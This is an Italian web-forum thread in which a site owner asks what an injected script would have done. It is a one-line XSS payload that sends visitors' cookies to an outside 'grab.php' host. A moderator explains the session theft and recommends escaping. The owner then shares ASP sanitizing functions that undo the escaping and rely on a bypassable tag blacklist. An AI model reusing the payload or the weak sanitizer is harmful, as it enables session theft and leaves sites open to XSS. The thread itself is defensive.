Visualizzazione dei risultati da 1 a 8 su 8

Discussione: Iniezione script

  1. #1

    Iniezione script

    Nel mio sito un tipo ha tentato di inserire questo codice, sono riuscito ad intercettare e modificare il testo ma cosa avrebbe fatto?

    <script>document.location="http://predator_166.php0h.com/grab/grab.php?cookie="+escape(document.cookie)</script>
    Enrico Frison
    El signore ghe da e suche a chi che no ga i porsei!

  2. #2
    Moderatore di Sicurezza informatica e virus L'avatar di Habanero
    Registrato dal
    Jun 2001
    Messaggi
    9,782
    avrebbe mandato al sito predator_166.php0h.com eventuali cookie relativi al sito in cui è stata fatta l'iniezione. In pratica chiunque avesse visitato la pagina si sarebbe visto rubare il cookie relativo al sito.
    Se usi le sessioni oppure utilizzi i cookie per memorizzare eventuali dati di login si sarebbe potuto verificare un furto di credenziali di accesso ai danni degli utenti del tuo sito.
    E' un classico attacco di Cross Site Scripting (XSS).

    Controlla bene che eventuali immissioni di input da parte degli utenti siano sicure se vengono visualizzate su una pagina web (ad esempio nei forum e nei guestbook). Ricorda di fare l'escaping di caratteri critici, se usi php ci sono le comode funzioni htmlentities e htmlspecialchars
    Leggi il REGOLAMENTO!

    E' molto complicato, un mucchio di input e output, una quantità di informazioni, un mucchio di elementi da considerare, ho una quantità di elementi da tener presente...
    Drugo

  3. #3
    codice:
    '###########################################################################
    '#########  Funzion per eliminare il codice superfluo dei form   ###########
    '###########################################################################
    Function togliHTML(strHTML) 
    	'Eliminazione dei tag HTML 
    	If strHTML <> "" Then
    		
    		Dim objRegExp, strOutput 
    		Set objRegExp = New Regexp 
    		
    		objRegExp.IgnoreCase = True 
    		objRegExp.Global = True 
    		objRegExp.Pattern = "<%(|.\n)+?>" 
    		
    		'Replace Tutti i tag HTML con una stringa vuota 
    		strOutput = objRegExp.Replace(strHTML, "") 
    		
    		'Replace tutti < e > con &lt; e &gt; e le virgolette ", '
    		strOutput = Replace(strOutput, "<", "&lt;") 
    		strOutput = Replace(strOutput, ">", "&gt;") 
    		strOutput = Replace(strOutput, """", "&quot;")
    		strOutput = Replace(strOutput, "'", "''")
    		
    		togliHTML = strOutput 'Valore che andrà in uscita 
    		Set objRegExp = Nothing 
    	End If
    End Function
    
    '###########################################################################
    '#########  Funzion per aggiungere il codice HTML                ###########
    '###########################################################################
    Function addHTML(strHTML) 
    	'Eliminazione dei tag HTML 
    	If strHTML <> "" Then
    		Dim objRegExp, strOutput 
    		Set objRegExp = New Regexp 
    		
    		objRegExp.IgnoreCase = True 
    		objRegExp.Global = True 
    		objRegExp.Pattern = "<%(|.\n)+?>" 
    		
    		'Replace Tutti i tag HTML con una stringa vuota 
    		strOutput = objRegExp.Replace(strHTML, "") 
    		
    		'Replace tutti < e > con &lt; e &gt; e le virgolette ", '
    		strOutput = Replace(strOutput, "&lt;", "<") 
    		strOutput = Replace(strOutput, "&gt;", ">") 
    		strOutput = Replace(strOutput, "&quot;", """")
    		strOutput = Replace(strOutput, "''", "'")
    		strOutput = Replace(LCase(strOutput), "<script", "")
    		strOutput = Replace(LCase(strOutput), "<iframe", "")
    		strOutput = Replace(LCase(strOutput), "<meta", "")
    		strOutput = Replace(LCase(strOutput), "<body", "")
    		strOutput = Replace(LCase(strOutput), "<embed", "")
    		
    		addHTML = strOutput 'Valore che andrà in uscita 
    		Set objRegExp = Nothing 
    	End If
    End Function
    Solitamente uso queste due funzioni (ASP) applicate alle enties che devono scrivere nel dabatase. La prima è applicata alla Request.Form("campo") che poi memorizzo nel database la seconda in fase di visualizzazione dei contenuti del database. Può bastare?
    Enrico Frison
    El signore ghe da e suche a chi che no ga i porsei!

  4. #4
    Utente di HTML.it
    Registrato dal
    Jun 2005
    Messaggi
    415
    Ma ti funziona l'espressione

    objRegExp.Pattern = "<%(|.\n)+?>"

    cioè se nella stringa è presente <% la sostituisce con una stringa vuota?

  5. #5
    No la sostituisce con "&lt;%"
    Enrico Frison
    El signore ghe da e suche a chi che no ga i porsei!

  6. #6
    Utente di HTML.it
    Registrato dal
    Jun 2005
    Messaggi
    415
    Mi puoi spiegare cosa significa questa parte?

    objRegExp.Pattern = "<%(|.\n)+?>"

    'Replace Tutti i tag HTML con una stringa vuota
    strOutput = objRegExp.Replace(strHTML, "")

    Grazie mille!

  7. #7
    vorrei, ma ho trovato questa funzione qui sul forum...
    Enrico Frison
    El signore ghe da e suche a chi che no ga i porsei!

  8. #8
    Utente di HTML.it
    Registrato dal
    Jun 2005
    Messaggi
    415
    Ma dove l'hai trovato? Cercando non si trova...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.